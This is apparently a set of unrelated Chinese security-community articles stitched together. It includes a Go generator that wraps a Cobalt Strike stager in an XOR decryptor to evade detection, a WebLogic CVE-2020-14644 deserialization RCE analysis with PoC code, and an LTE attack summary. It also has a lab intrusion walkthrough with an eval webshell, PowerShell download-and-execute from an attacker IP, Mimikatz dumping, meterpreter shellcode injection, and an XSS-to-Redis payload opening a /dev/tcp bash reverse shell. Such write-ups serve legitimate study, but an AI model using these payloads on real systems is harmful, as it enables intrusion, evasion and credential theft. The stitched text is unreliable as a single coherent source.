0000017B1B5C0151 01 00 00 4D 8B 00 4D 85 C0 75 E9 4C 8B 45 67 49 ...M..M.ÀuéL.EgI
0000017B1B5C0161 63 40 3C 41 8B D5 46 8B 8C 00 88 00 00 00 4D 03 c@<A.ÕF.......M.
0000017B1B5C0171 C8 41 8B 49 20 49 03 C8 45 39 69 18 76 28 8B 01 ÈA.I I.ÈE9i.v(..
0000017B1B5C0181 42 80 3C 00 47 75 13 42 80 7C 00 0D 73 75 0B 46 B.<.Gu.B.|..su.F
0000017B1B5C0191 38 6C 00 0E 0F 84 0F 01 00 00 FF C2 48 83 C1 04 8l........ÿÂH.Á.
0000017B1B5C01A1 41 3B 51 18 72 D8 48 8B 75 67 48 8D 55 C7 49 8B A;Q.rØH.ugH.UÇI.
0000017B1B5C01B1 C8 FF D6 48 8B D8 48 8D 4D D7 FF D3 48 8D 4D B7 ÈÿÖH.ØH.M×ÿÓH.M·
0000017B1B5C01C1 48 8B F8 FF D3 48 8D 55 F7 48 8B C8 48 8B D8 FF H.øÿÓH.U÷H.ÈH.Øÿ
0000017B1B5C01D1 D6 48 8D 55 07 48 8B CB 4C 8B F8 FF D6 48 8D 55 ÖH.U.H.ËL.øÿÖH.U
0000017B1B5C01E1 1F 48 8B CB 4C 8B E0 FF D6 48 8D 55 E7 48 8B CF .H.ËL.àÿÖH.UçH.Ï
0000017B1B5C01F1 4C 8B F0 FF D6 BF 00 00 10 00 41 B9 40 00 00 00 L.ðÿÖ¿....A¹@...
0000017B1B5C0201 8B D7 41 B8 00 30 00 00 33 C9 FF D0 4C 8D 0D B5 .×A¸.0..3ÉÿÐL..µ
0000017B1B5C0211 00 00 00 48 8B D8 41 8A 51 01 45 8A C5 84 D2 74 ...H.ØA.Q.E.Å.Òt
0000017B1B5C0221 19 49 8B CD 80 F2 1F 41 FE C0 88 14 01 41 0F B6 .I.Í.ò.AþÀ...A.¶
0000017B1B5C0231 C8 42 8A 54 09 01 84 D2 75 EA 45 33 C9 44 89 6C ÈB.T...ÒuêE3ÉD.l
0000017B1B5C0241 24 20 45 33 C0 33 D2 33 C9 41 FF D7 48 8B C8 4C $ E3À3Ò3ÉAÿ×H.ÈL
0000017B1B5C0251 89 6C 24 28 45 33 C9 C7 44 24 20 00 B4 00 80 45 .l$(E3ÉÇD$ .´..E
0000017B1B5C0261 33 C0 48 8B D3 41 FF D4 48 85 C0 74 12 4C 8D 4D 3ÀH.ÓAÿÔH.Àt.L.M
0000017B1B5C0271 67 44 8B C7 48 8B D3 48 8B C8 41 FF D6 FF D3 4C gD.ÇH.ÓH.ÈAÿÖÿÓL
0000017B1B5C0281 8D 9C 24 B0 00 00 00 49 8B 5B 38 49 8B 73 40 49 ..$°...I.[8I.s@I
0000017B1B5C0291 8B 7B 48 49 8B E3 41 5F 41 5E 41 5D 41 5C 5D C3 .{HI.ãA_A^A]A\]Ã
0000017B1B5C02A1 4D 8B 40 20 E9 B6 FE FF FF 41 8B 41 24 49 03 C0 M.@ é¶þÿÿA.A$I.À
0000017B1B5C02B1 8B CA 0F B7 14 48 41 8B 49 1C 49 03 C8 8B 34 91 .Ê.·.HA.I.I.È.4.
0000017B1B5C02C1 49 03 F0 E9 E2 FE FF FF C2 77 6B 6B 6F 25 30 30 I.ðéâþÿÿÂwkko%00
0000017B1B5C02D1 2E 2F 31 2D 2E 2E 31 2A 2A 31 2D 25 27 2F 27 2E ./1-..1**1-%'/'.
0000017B1B5C02E1 30 74 77 78 7E 6C 75 77 78 7B 7E 67 69 6C 77 26 0twx~luwx{~gilw&
0000017B1B5C02F1 EB 01 1C 3E A8 AF 00 00 00 00 00 00 00 00 00 00 ë..>¨¯..........
解密后使用 jmp 指令跳转执行：
0000017B1B5C003E | 49:FFE0 | jmp r8 |
之后的部分即是实现 CS Stager 功能的 payload 部分，可以参考我之前的 《CS 4.7 Stager 逆向及 Shellcode 重写》的
shellcode 分析部分，这里不再详细分析。
# 4\. PoC
通过上面的分析，我们可以将这段 shellcode 拆解成解密器、密钥、payload 三个部分，知道了原理，我们就可以自己实现一个脚本来生成这样一段
shellcode 了，这里我直接使用 CS 的原生 payload 作为被加密的内容，所以只需要实现其中的解密器和密钥即可，PoC如下：
package main
import (
"bytes"
"encoding/binary"
"io/ioutil"
"math/rand"
"time"
)
// 生成随机密钥
func GenRandomKey() []byte {
rand.Seed(time.Now().UnixNano())
key := make([]byte, 12)
rand.Read(key)
return key
}
// 使用密钥对payload进行加密
func XorEncrypt(payload []byte, key []byte) []byte {
var xored_payload []byte
for i := 0; i < len(payload); i++ {
xored_payload = append(xored_payload, payload[i]^key[i%len(key)])
}
return xored_payload
}
// 生成解密器
func MakeDecryptor(payload []byte, key []byte) []byte {
prefix := []byte{0x4C, 0x8D, 0x1D, 0x3D, 0x00, 0x00, 0x00, 0x45, 0x33, 0xC9, 0x4D, 0x8D, 0x43, 0x0D, 0x4D, 0x8B, 0xD0, 0xB8, 0xAB, 0xAA, 0xAA, 0xAA, 0x41, 0xF7, 0xE1, 0x41, 0x8B, 0xC1, 0x41, 0xFF, 0xC1, 0xC1, 0xEA, 0x03, 0x8D, 0x0C, 0x52, 0xC1, 0xE1, 0x02, 0x2B, 0xC1, 0x42, 0x8A, 0x44, 0x18, 0x01, 0x41, 0x30, 0x02, 0x49, 0xFF, 0xC2, 0x41, 0x81, 0xF9}
suffix := []byte{0x72, 0xD3, 0x49, 0xFF, 0xE0, 0xCC, 0xCC, 0xCC, 0xC2}
size := int32(len(payload))
bytesBuffer := bytes.NewBuffer([]byte{})
binary.Write(bytesBuffer, binary.LittleEndian, size)
decryptor := append(append(prefix, bytesBuffer.Bytes()...), suffix...)
return decryptor
}
func main() {
key := GenRandomKey()
payload, _ := ioutil.ReadFile("payload.bin")
xored_payload := XorEncrypt(payload, key)
decryptor := MakeDecryptor(payload, key)
shellcode := append(append(decryptor, key...), xored_payload...)
_ = ioutil.WriteFile("shellcode.bin", shellcode, 0666)
}
测试上线： | 社区文章 |
# 简介
2020年7月，Oracle发布了关键升级补丁(Critical Patch Update)，其中包含编号为CVE-2020-14644 的漏洞修复。
WebLogic的核心`coherence`组件存在严重的安全漏洞，可以在无需账户登录的情况下，通过发送精心恶意的IIOP协议数据包，进行反序列化攻击完成远程任意命令执行。
受影响的版本：
* WebLogic 12.2.1.3.0
* WebLogic 12.2.1.4.0
* WebLogic 14.1.1.0.0
# 漏洞复现
漏洞环境:
* java version "1.8.0_112"
* WebLogic 12.2.1.4.0(WebLogic 12.2.1.3.0进行测试失败，不知为何coherence组件不完整)
* IDEA DEBUG
* 使用[github项目](https://github.com/potats0/cve_2020_14644)进行攻击与分析
看看整个项目的结构：
相关代码包含三个文件：
* App为攻击项目的入口，POC构造的逻辑，字节码处理等
* test为包含恶意命令类，会被App进行字节码处理
* Serializables为序列化工具类
lib库包含两个jar文件，同样需要添加到项目中
WebLogic 12.2.1.4.0可以使用项目自带的，其他的版本最好使用和目标版本一致的
coherence.jar的位置
/Users/rai4over/Oracle/Middleware/Oracle_Home/wlserver/server/lib/console-ext/autodeploy/coherence.jar
wlfullclient.jar需要手动生成
java -jar ~/Oracle/Middleware/Oracle_Home/wlserver/modules/com.bea.core.jarbuilder.jar
运行后在会生成wlfullclient.jar，路径为：
~/Oracle/Middleware/Oracle_Home/wlserver/server/lib/wlfullclient.jar
然后可以使用脚本进行攻击，因为有回显的，所以需要运行两次
# javassist
`javassist`是一个开源的分析、编辑和创建Java字节码的类库。其主要的优点，在于简单，而且快速。直接使用
java编码的形式，而不需要了解虚拟机指令，就能动态改变类的结构，或者动态生成类。
`Ysoserial`在生成Payload中也是使用的`javassist`类库。
几个重要的Javassist类对象：
* `ClassPool`：一个基于`Hashtable`实现的`CtClass`对象容器，其中键名是类名称，值是表示该类的`CtClass`对象。
* `CtClass`：`CtClass`表示类，一个`CtClass`(编译时类）对象可以处理一个`class`文件，这些`CtClass`对象可以从`ClassPool`获得。
* `CtMethods`：表示类中的方法。
* `CtFields`：表示类中的字段。
创建`ClassPool`对象
//ClassPool pool = new ClassPool(true);
ClassPool pool = ClassPool.getDefault();
使用的是默认系统的类搜索路径获取`ClassPool`对象
添加类搜索路径
pool.insertClassPath(new ClassClassPath(this.getClass()));
//pool.insertClassPath("/usr/local/javalib");
将类搜索路径插入到搜索路径，或者将目录作为类搜索路径
查找并获取`CtClass`对象
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
依据`key`从`Hash`表中查找对应的`CtClass`对象
`CtClass`可被修改
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath("XXXXXXX"));
CtClass ctClass = pool.get("XXXXX");
ctClass.setSuperclass(pool.get("XXXXXX"));
修改并设置父类
byte[] b = ctClass.toBytecode();
获取修改后的字节码
Class clazz = ctClass.toClass();
转换成`Class`对象
# 分析
为了方便分析，可以简化攻击代码，本地模拟序列化和反序列化的过程，完成攻击。
test1.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import weblogic.cluster.singleton.ClusterMasterRemote;
import java.io.IOException;
import java.rmi.RemoteException;
public class test1 implements com.tangosol.internal.util.invoke.Remotable, ClusterMasterRemote {
public test1() throws IOException {
String cmd = "touch /tmp/rai4over";
Runtime.getRuntime().exec(cmd);
}
@Override
public RemoteConstructor getRemoteConstructor() {
return null;
}
@Override
public void setRemoteConstructor(RemoteConstructor remoteConstructor) {
}
@Override
public void setServerLocation(String s, String s1) throws RemoteException {
}
@Override
public String getServerLocation(String s) throws RemoteException {
return null;
}
}
test1实现`com.tangosol.internal.util.invoke.Remotable`和`ClusterMasterRemote`接口，并且在无参数的构造函数中包含执行的命令。
RCETEST.java
package org.unicodesec;
import com.tangosol.internal.util.invoke.ClassDefinition;
import com.tangosol.internal.util.invoke.ClassIdentity;
import com.tangosol.internal.util.invoke.RemoteConstructor;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import java.io.IOException;
public class RCETEST {
public static void main(String[] args) throws NotFoundException, IOException, CannotCompileException, ClassNotFoundException {
ClassIdentity classIdentity = new ClassIdentity(org.unicodesec.test1.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(org.unicodesec.test1.class.getName());
ctClass.replaceClassName(org.unicodesec.test1.class.getName(), org.unicodesec.test1.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
new ClassDefinition(classIdentity, ctClass.toBytecode()),
new Object[]{}
);
byte[] obj = Serializables.serialize(constructor);
Serializables.deserialize(obj);
}
}
大致为使用`javassist`修改恶意的`test1.java`的字节码文件，这里和`ysoserial-payloads-CommonsCollections2`的操作是一个套路，装入恶意的`RemoteConstructor`对象并序列化，然后反序列化触发。
# Gadget chain
开始分析POC的构造，首先是`new
ClassIdentity(org.unicodesec.test1.class)`，将恶意test1的class作为参数传入创建`ClassIdentity`对象。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.Class<?>)
`clazz.getPackage().getName().replace('.', '/')`获取包名并替换后为`org/unicodesec`
`clazz.getName().substring(clazz.getName().lastIndexOf(46) +
1)`获取类名并截取后变为`test1`
`Base.toHex(md5(clazz))`为MD5值`81646C2598E743F9FE254AB93A0FBE14`
然后传递到另一个构造参数。
com.tangosol.internal.util.invoke.ClassIdentity#ClassIdentity(java.lang.String,
java.lang.String, java.lang.String)
分别赋值给`m_sPackage`、`m_sVersion`、`m_sBaseName`成员，然后返回`ClassIdentity`类的实例化对象。
接着创建`ClassPool`对象，`org.unicodesec.test1.class.getName()`也就是`test1`，修改类名为`org.unicodesec.test1$81646C2598E743F9FE254AB93A0FBE14`，接着将修改后`test1`的字节码和生成`ClassIdentity`对象作为参数创建`ClassDefinition`对象。
com.tangosol.internal.util.invoke.ClassDefinition#ClassDefinition(com.tangosol.internal.util.invoke.ClassIdentity,
byte[])
将传入的`ClassIdentity`对象和`test1`字节码文件分别存储，然后还获取了`ClassName`并进行长度判断。创建的`ClassDefinition`对象又会作为参数创建`RemoteConstructor`对象。
com.tangosol.internal.util.invoke.RemoteConstructor#RemoteConstructor(com.tangosol.internal.util.invoke.ClassDefinition,
java.lang.Object[])
第二个参数是空的，整个`RemoteConstructor`对象结构如下：
`RemoteConstructor`对象中包含创建和修改的各个对象。
整个恶意类接下来就是使用`Serializables`工具类序列化`RemoteConstructor`对象，然后模拟Weblogic中IIOP通讯，反序列化该对象。
com.tangosol.internal.util.invoke.RemoteConstructor#readResolve
和之前常见的java反序列化`readObject`作为入口不同，这次的问题出在用于检查反序列化对象是否唯一`readResolve`（单例模式），然后调用`newInstance`。
com.tangosol.internal.util.invoke.RemoteConstructor#newInstance
获取继承`ClassLoader`对象的`RemotableSupport`对象，然后将`RemoteConstructor`传入`support.realize`函数。
com.tangosol.internal.util.invoke.RemotableSupport#realize
首先`constructor.getDefinition()`获取了`ClassDefinition`对象，然后传入`registerIfAbsent`函数
com.tangosol.internal.util.invoke.ClassDefinition
根据`ID`将`ClassDefinition`对象存储在MAP类的`this.f_mapDefinitions`中，然后返回`ClassDefinition`对象
com.tangosol.internal.util.invoke.RemotableSupport#f_mapDefinitions
返回到realize，然后调用`definition.setRemotableClass(this.defineClass(definition))`，先看`this.defineClass`。
com.tangosol.internal.util.invoke.RemotableSupport#defineClass
com.tangosol.internal.util.invoke.ClassDefinition#getBytes
`definition.getBytes()`会返回`test1`的字节码
java.lang.ClassLoader#defineClass(java.lang.String, byte[], int, int)
`RemotableSupport`对象利用继承`ClassLoader`的`defineClass`方法加载`test1`的字节码，返回`test1-Class`对象传入`definition.setRemotableClass`方法。
com.tangosol.internal.util.invoke.ClassDefinition#setRemotableClass
将`test1-Class`对象存入`ClassDefinition`对象的m_clz，然后通过`getDeclaredConstructors`获取test1的构造函数数组。
构造函数数量为1，进入if分支，使用`MethodHandles`查找类中的构造方法，并存储到`m_mhCtor`成员。
java.lang.invoke.MethodHandles.Lookup#findConstructor
返回到`realize`函数，调用`definition.createInstance`函数
com.tangosol.internal.util.invoke.ClassDefinition#createInstance
这里是一个链式调用，跟进`this.getConstructor`
com.tangosol.internal.util.invoke.ClassDefinition#getConstructor
会返回存储`test1`构造函数的`MethodHandle`对象，构造函数中包含恶意命令，然后反射执行构造函数，完成任意命令执行，此时的调用栈为：
exec:347, Runtime (java.lang)
<init>:15, test1$81646C2598E743F9FE254AB93A0FBE14 (org.unicodesec)
newInvokeSpecial__L:-1, 36333492 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 55909012 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 2083117811 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 157683534 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invokeReadResolve:1148, ObjectStreamClass (java.io)
readOrdinaryObject:1817, ObjectInputStream (java.io)
readObject0:1353, ObjectInputStream (java.io)
readObject:373, ObjectInputStream (java.io)
deserialize:27, Serializables (org.unicodesec)
deserialize:22, Serializables (org.unicodesec)
main:22, RCETEST (org.unicodesec)
# 参考
<https://www.oracle.com/security-alerts/cpujul2020.html>
<https://www.cnblogs.com/ph4nt0mer/p/13469690.html>
<https://paper.seebug.org/1281/> | 社区文章 |
# 简介
近日，德国Ruhr-University Bochum和New York University Abu Dhabi的研究人员公布了被IEEE S&P
2019录用的一篇文章“Breaking LTE on Layer Two”，研究人员通过分析4G
LTE协议栈发现了数据链路层存在的漏洞，并描述了2种主动攻击和1种被动攻击方式。其中被动攻击分别是身份映射攻击和执行网站指纹识别,主动攻击是aLTEr。
## LTE的安全机制
LTE有许多的安全机制。当Bob的手机连接到网络时，会建立多重认证和共享密钥。多重认证意味着手机和网络可以分别互相识别对方。密钥用来加密控制流和用户流。控制流水经过完整性保护的，也就是说攻击者在传输的过程中是不能操作流量的。尽管有安全机制，研究人员仍然发现被动攻击和主动攻击可以看到Bob访问的网站，甚至将其重定向到虚假网站。
# 被动攻击
在被动攻击中不会干扰网络的正常连接，只能通过窃听的手段获取流量中的数据。窃听者 Eve 通过在 Bob 附近部署一个嗅探设备来实现这一点。因此，她可以访问
Bob 发送给网络以及从网络接收到的所有信息。尽管数据链路层的数据都是经过加密保护的，攻击者仍然可以获得在通信过程中的元数据（例如：数据传输的时间和频率）。
## 网站指纹
数据链路层的元信息可以泄露关于单位时间数据消耗的信息。例如，当 Bob 观看视频时的流量肯定比他访问简单的网站大。作为攻击的前奏，Eve
可以记录访问一些常见网站时的数据链路层的元信息特征（也就是网站指纹），在她窃听到一些元信息之后，根据网站指纹去匹配，有比较大的概率可以知道目标访问了哪个网站。
# aLTEr攻击
因为主动攻击具有入侵的能力，可以通过DNS欺骗将用户重定向到恶意站点，所以研究人员将主动攻击命名为aLTEr。
在主动攻击中，攻击者通过模拟合法的网络或用户设备向网络或设备发送信号。在我们的实验中，攻击者可以同时拦截并重放Bob 和网络之间传输的所有数据。在 Bob
眼中，所有的访问都是正常的，不会有任何明显的异常。
## 用户数据重定向
LTE 是在数据链路层以上的层使用相互认证来防止 Bob
的手机连接到假的网络。但是，攻击者可以转发高层的消息到不受保护的低层。用户数据重定向攻击的核心就是利用用户数据不受完整性保护。因此，如果攻击者知道原始的明文，即使数据包是加密的，攻击者也可以修改数据包的内容。对于
DNS 数据包，我们知道原始 DNS 服务器的地址，攻击者可以通过添加特定的偏移量，将 DNS 重定向到攻击者可控制的 DNS 服务器。
## DNS 欺骗
恶意的 DNS 服务器执行 DNS 欺骗，将正常的域名解析到恶意的 IP 地址。手机在访问一个网站的时候，实际访问的就是攻击者指定的恶意网站。DNS
欺骗是互联网上常见的攻击，在攻击者控制 DNS 服务器的下一跳即可发动攻击。跟用户数据重定向攻击相比，攻击者只需要靠近受害者即可执行此类攻击。
## 实验结果
为了演示 aLTEr 攻击的可行性，研究人员在实验室环境中的商用网络和商用电话内实施了全面的端到端攻击。通过软件无线电系统实现了基于开源 LTE 软件栈
srsLTE 的 LTE 中继。使用屏蔽盒来稳定无线电层并防止被真实网络的意外打断。另外，设置了两台服务器来模拟攻击者如何重定向网络连接：一台 DNS
服务器，对特定的 DNS 查询回复恶意的 IP 地址；一台 HTTP 服务器，模拟用户登录页面，IP 就是 DNS 回复的恶意 IP ，视频演示如下：
<https://www.youtube.com/watch?v=H85lsA9Y0Yg>
# 影响
实施这三针攻击需要特殊和昂贵的设备、定制的软件。为实施这样的攻击，攻击者需要使用专门的硬件（软件定义无线电）和定制的LTE协议栈。还需要一个受控的环境来确保在可接受的时间内测试成功。aLTEr和其他攻击在现实中是不适用的，研究人员称截止目前普通用户无需担心。
## 影响5G标准？
研究人员已将漏洞相关情况通报给了GSM Association (GSMA)，3rd Generation Partnership Project
(3GPP)和相关公司，并称漏洞会影响5G标准。也有专家称5G标准中含有额外的安全特征（数据层的强加密）来防止aLTEr攻击的产生，但这些安全特征不是必选项。
更多关于攻击的情况可以参考<https://alter-attack.net/>
论文：Breaking LTE on Layer Two <https://alter-attack.net/media/breaking_lte_on_layer_two.pdf> | 社区文章 |
[+] Author: niexinming
[+] Team: n0tr00t security team
[+] From: http://www.n0tr00t.com
[+] Create: 2017-03-09
#### 0x00 缘由
前几天看到文章[《全球上百家银行和金融机构感染了一种“无文件”恶意程序，几乎无法检测》](http://www.freebuf.com/news/126686.html)，希望自己能够亲手实验一下，以最大程度还原这种“无文件”攻击方式。
#### 0x01 拓扑设计
* 192.168.1.0/24: 模拟公网环境
* 172.21.132.0/24: 模拟企业内网环境
* 192.168.1.108: 黑客 Kali 攻击机
* 192.168.1.212: 黑客 Windows 攻击机
* 边界 Web 服务器双网卡（公网的：192.168.1.110，和内网的172.21.132.110），而且为了最基本的安全保障，Web 边界服务器设置了防火墙，此防火墙对外网只开放80，81，443端口，对内网开放所有端口，上面装有360杀毒软件
* 内网还布置若干台 Web 服务器，一台旁路告警设备（ips），他们都可以连接到外网，但是外网访问不到内部的任何web服务器
* 其中 Web 服务器（172.21.132.113/linux）前面放置防火墙，不可以被内网的其他 Web 服务器访问到，但它可访问到内网其他服务器并且能够连接外网
#### 0x02 Nishang, PowerSploit
1. [Nishang](https://github.com/samratashok/nishang)是基于 PowerShell 的渗透测试专用工具。集成了框架、脚本和各种payload。这些脚本是由Nishang的作者在真实渗透测试过程中有感而发编写的，具有实战价值。包括了下载和执行、键盘记录、dns、延时命令等脚本
2. [PowerSploit](https://github.com/PowerShellMafia/PowerSploit)是又一款 Post Exploitation 相关工具，Post Exploitation 是老外渗透测试标准里面的东西，就是获取shell之后干的一些事情。PowerSploit 其实就是一些 Powershell 脚本，包括 Inject-Dll(注入dll到指定进程)、Inject-Shellcode（注入shellcode到执行进程）、Encrypt- Script（文本或脚本加密）、Get-GPPPassword（通过groups.xml获取明文密码）、Invoke- ReverseDnsLookup（扫描 DNS PTR记录）
#### 0x03 开始渗透
由于边界 Web 服务器上 fastcgi 配置错误，导致服务器被
Getshell。因为服务器上有杀毒软件，所以要把一句话木马做一下转换，绕过思路参考：[打狗棒法之进阶篇：Cknife修改配置法秒过安全狗](http://www.freebuf.com/articles/web/100432.html)。
服务器端木马内容：
<?php
eval('$n0tr00t ='.$_POST['test']);
eval($n0tr00t);
?>
替换 Config.ini PHP_MAKE 为：
base64_decode($_POST['action']);
拿到 Webshell 之后 systeminfo 查看系统信息：
可以看到这个是一台 Win2008 r2 64 位而且没有打任何系统补丁的系统，所以我们可以从上面反弹一个 Powershell 出来进行下一步渗透，首先把
nishang git clone 到 Web 目录下，然后在shell 目录下找到 Invoke-PowerShellTcp.ps1，为了方便直接把
Invoke-PowerShellTcp.ps1 复制到根目录，nc 监听8888端口，然后执行：
powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.108/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.1.108 -port 8888
不过查看权限发现权限比较低：iis apppool\defaultapppool ，所以我们需要提高一下权限， 一般是上传内核溢出 exp
，我在这里选择直接从远处加载一个 exe
到受害主机内存中，并且让他执行起来，把：https://github.com/clymb3r/PowerShell/blob/master/Invoke-ReflectivePEInjection/Invoke-ReflectivePEInjection.ps1 下载到 Hacker-Web
目录下，提权我们这里使用 ms1564.exe ：
IEX (New-Object Net.WebClient).DownloadString
('http://192.168.108/Invoke-ReflectivePEInjection.ps1');
Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/ms1564.exe -ExeArgs "cmd" -ForceASLR
这里面有个坑，ms15051
由于是随便从一个网上下载下来的，没有经过改造，所以当执行的指令参数有空格的时候，他会没有任何反应，也没有任何回显，后来经过不断尝试，执行cmd的时候就可以把shell的权限提了，但是如果你执行
powershell 这个指令的话，那么这个反弹的shell就会假死。
这时在本机搜集信息，mimikatz 脱出登陆过的密码：
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-Mimikatz.ps1');Invoke-Mimikatz
查看 arp 的列表：
看到好多机子集中在 172.21.132.100-120 这个网段，我们调用 poershell
扫一下，端口扫描的脚本可以从这里下载：<https://github.com/samratashok/nishang/blob/master/Scan/Invoke-PortScan.ps1>
扫描：
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-PortScan.ps1');
Invoke-PortScan -StartAddress 172.21.132.0 -EndAddress 172.21.132.254 -ResolveHost -ScanPort
这个时候我们反弹一个 meterpreter 利用 powersploit 框架，由于一些奇怪的原因，作者把框架中支持 msf
的部分去掉了，但经过我的查找在作者提交的历史记录里面找到了最后一版支持 msf 的部分：
[PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke
--Shellcode.ps1](https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/12ce71b9f4b0428d9425e001e5988f91eb2b8b87/CodeExecution/Invoke
--Shellcode.ps1)
如果 git clone 新版本的 PowerSploit 你要用老版本的 CodeExecution/Invoke--Shellcode.ps1
替换掉新版本的文件：
IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.108/CodeExecution/Invoke-Shellcode.ps1')
Invoke-Shellcode -payload windows/meterpreter/reverse_https -lhost 192.168.1.108 -lport 4444 -force
设置 payload 为 windows/meterpreter/reverse_https ，并且监听 4444 端口：
msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_https
payload => windows/meterpreter/reverse_https
msf exploit(handler) > set lport 4444
lport => 4444
msf exploit(handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(handler) > run
然后在 powershell 反弹的 shell 中调用：
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/1.ps1')
拿到 meterpreter ~ 注意：这个 meterpreter 执行 shell 是不能得到交互式 cmd 的，因为刚才用 exp 把反弹的
powershell 变成了 system 的权限，所以再反弹出来的meterpreter 也是 system 权限，查看路由：`run
get_local_subnets`，寻找 putty 保存的信息`run enum_putty`，寻找ie保存的密码：`run
post/windows/gather/enum_ie`。
本地信息搜集差不多了，可以使用 background 把 meterpreter 放入后台，然后添加路由（这样才能进行内网的扫描）：
route add 172.21.132.0 255.255.255.0 1
> route add 第一个参数是地址，第二个参数地址是掩码，第三个参数是sessis的id;
进行内网的主机扫描，利用 smb 进行主机识别：
use auxiliary/scanner/smb/smb_version
利用刚才找到的管理员密码在内网里面碰撞一下，看看多少主机用的是同样的密码 用的是：use auxiliary/scanner/smb/smb_login
可以看到内网里面的大部分机子都是用的一个密码，下面我们要用 socks 代理进入到内网里面获取一些信息，这里有三种选择：
1. msf 提供了一种 socks4a 的代理，浏览器可以用这个代理进入到内网，但burp不能用socks4a的代理
2. 用 reGeorgSocksProxy.py 的 socks5 进入到内网里
3. 用特殊处理过得 xsocks.exe ，通过 powershell 远程加载到内存里面运行之后得到代理
因为这是60字节 WebShell 的杂技，所以我们采用第三种方法进入到内网，在黑客的web里面放入特殊处理的 xsocks.exe，然后用
poweshell 加载：
IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.108/Invoke-ReflectivePEInjection.ps1');Invoke-ReflectivePEInjection -PEUrl http://192.168.1.108/xsocks.exe -ExeArgs "-l 443" -ForceASLR
BurpSuite / Firefox 等代理中设置好后就可以实现这样的效果了：
流量拦截下来 repeater ：
经过内网探测发现 172.21.132.113 开放 6379 端口，但是通过代理无法连接，后来发现
172.21.132.117:83/xss/add.php 的一个留言板：
根据文章 [Client-Side Redis Attack Proof of
Concept](https://ericrafaloff.com/client-side-redis-attack-poc/)
我做了一个可以利用redis未授权访问得到反弹shell的js:
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('flushall\r\n');
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('eval \'' + 'redis.call(\"set\", \"1\",\"\\n\\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.1.108/5566 0>&1\\n\\n"); redis.call(\"config\", \"set\", \"dir\", \"/var/spool/cron/\"); redis.call(\"config\", \"set\", \"dbfilename\", \"root\");' + '\' 0' + "\r\n");
var cmd = new XMLHttpRequest();
cmd.open("POST", "http://127.0.0.1:6379");
cmd.send('save\r\n');
在本机监听 5566 端口，只要有装redis的那台机子的管理员查看留言板的话就会弹出一个shell给我们的主机：
#### 0x04 tips
我们在上面介绍用 Powershell 加载外部 exe 进入内存执行，从而不在受害主机里面留下任何痕迹，而且也可以绕过国内主流杀软的查杀，参考：
* [PowerPwning: Post-Exploiting ByOverpowering PowerShell](https://www.defcon.org/images/defcon-21/dc-21-presentations/Bialek/DEFCON-21-Bialek-PowerPwning-Post-Exploiting-by-Overpowering-Powershell.pdf)
* [Powershell tricks::Code Execution & Process Injection](http://wooyun.jozxing.cc/static/drops/tips-10556.html)
实现前提条件：
1. 你要有源码
2. 源码必须是 c++ 编写，c# 编写的会导致崩溃
3. 编译的时候建议用 vs2010+winxp 编译
4. 编译采用/MT 或者/MTd
5. 代码中不能有写文件的操作
如果要传递参数的话把 int main(int argc char **argv) 改成：
int main()
{
LPWSTR *szArglist;
int nArgs;
int i;
szArglist = CommandLineToArgvW(GetCommandLineW(), &nArgs);
if( NULL == szArglist )
{
wprintf(L"CommandLineToArgvW failed\n");
return 0;
}
}
* * * | 社区文章 |
# 【知识】7月12日 - 每日安全知识热点
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**热点概要： 安全客2017季刊-第2期、IBM Informix DB-Access 缓冲区溢出漏洞、CVE-2017-4918:VMware
Horizon的macOS客户端代码注入漏洞分析、Pwn2Own: Safari沙盒绕过实现macOS
10.12.4本地权限提升、多用户共享主机托管服务MongoDB可能存在的安全问题解析 ******
**
**
**资讯类：**
【重磅推荐】安全客2017季刊-第2期，定制好礼等你拿！
<http://bobao.360.cn/news/detail/4217.html>
**技术类：**
****
****
****
****
[](http://motherboard.vice.com/read/the-worst-hacks-of-2016)
[](https://feicong.github.io/tags/macOS%E8%BD%AF%E4%BB%B6%E5%AE%89%E5%85%A8/)
[](https://github.com/GradiusX/HEVD-Python-Solutions/blob/master/Win10%20x64%20v1511/HEVD_arbitraryoverwrite.py)
多用户共享主机托管服务MongoDB可能存在的安全问题解析
<https://medium.com/@alexbyk/mongodb-at-shared-hosting-security-surprises-c441ecb84b54>
